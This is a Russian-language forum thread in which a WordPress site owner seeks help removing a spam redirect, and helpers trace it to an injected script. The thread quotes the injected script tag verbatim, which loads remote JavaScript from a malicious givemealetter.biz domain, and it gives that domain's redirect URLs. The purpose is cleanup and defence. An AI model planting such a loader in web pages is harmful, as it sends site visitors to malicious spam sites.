[Проблема]

Уже больше двух месяцев борюсь с редиректом, посетители сайта жалуются на то, что постоянно их перекидывает на всякие спам сайты. Разработчик сайта молчит, единственное что он сказал, что нужно найти файл и удалить редирект. Рылся сам ни чего не нашел. Помогите пожалуйста, домен gagauz.md

найдите в корне сайта файл .htaccess (именно так, с точкой)
и скиньте его содержимое сюда
если такого файла нет, то нужно смотреть на серваке, что именно перенаправляет на другие сайты
и возможно был взлом сайта, нужно избавляться от нечисти которую могли подложить какеры

нашел яваскрипт который отправляет на другие сайты

https://js.givemealetter.biz/script.js

в коде скрипта есть ссылка на собственно файл с редиректом (+ установка кукиса = crazytime при входе на страницу)

http://go.givemealetter.biz/click.html

найдете, где подключается яваскрипт, найдете и последствия взлома и устраните текущую проблему
но НЕ причину
дырка, через которую влезли, что бы внедрить яваскрипт, никуда не денется
обращайтесь к спецам по WP

код внедренного скрипта в страницы сайта

<script type="text/javascript">var s = document.createElement("script"); s.type = "text/javascript"; s.src = "https://js.givemealetter.biz/script.js"; document.head.appendChild(s);</script>

Содержимое файла с точкой:

# BEGIN All In One WP Security
# AIOWPS_BLOCK_WP_FILE_ACCESS_START
<Files license.txt>
order allow,deny
deny from all
</files>
<Files wp-config-sample.php>
order allow,deny
deny from all
</Files>
<Files readme.html>
order allow,deny
deny from all
</Files>
# AIOWPS_BLOCK_WP_FILE_ACCESS_END
# AIOWPS_BASIC_HTACCESS_RULES_START
<Files .htaccess>
order allow,deny
deny from all
</Files>
ServerSignature Off
LimitRequestBody 10240000
<Files wp-config.php>
order allow,deny
deny from all
</Files>

Если просканировать антивирусом он найдет где подключается этот скрипт?

Originally Posted by van

Если просканировать антивирусом

если скачаете все файлы с сервака на комп и десктопным антивирусом просканируете, то может и найдет
я когда попытался выкачать wget-ом файл из яваскрипта, мой антивирусник заблокировал закачку, мотивируя тем, что домен редиректа в базе как malware
то же самое "говорит" и один из адблокеров браузера - uBlock Origin
вот результат поиска в гуголе
или так http://go.givemealetter.biz/click.html